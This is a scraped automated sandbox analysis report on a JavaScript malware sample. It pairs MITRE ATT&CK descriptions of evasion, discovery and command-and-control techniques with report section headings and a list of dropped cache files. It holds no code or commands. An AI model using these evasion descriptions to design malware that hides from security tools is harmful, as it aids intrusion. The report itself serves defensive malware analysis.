Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16001220953190821144.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fc559d49-b54a-4f7a-836e-807970af3cac.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7296

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
16001220953190821144.js